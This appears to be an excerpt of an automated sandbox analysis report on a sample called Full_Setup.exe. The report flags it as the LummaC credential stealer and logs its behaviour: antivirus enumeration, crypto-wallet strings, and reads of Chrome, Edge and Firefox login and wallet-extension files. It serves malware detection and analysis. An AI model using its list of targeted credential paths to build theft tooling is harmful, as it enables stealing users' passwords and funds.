Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\b7bd07cc VolumeInformation

Source: C:\Users\user\Desktop\Full_Setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\Full_Setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Full_Setup.exe, 00000000.00000003.2133289114.0000000000766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: electrum
Source: Full_Setup.exe, 00000000.00000003.1983670651.0000000000762000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: Full_Setup.exe, 00000000.00000003.1935004521.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: Full_Setup.exe, 00000000.00000003.2133289114.0000000000766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus
Source: Full_Setup.exe, 00000000.00000003.2133289114.0000000000766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ethereum
Source: Full_Setup.exe, 00000000.00000003.1935004521.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Full_Setup.exe, 00000000.00000003.1935004521.0000000000753000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Full_Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
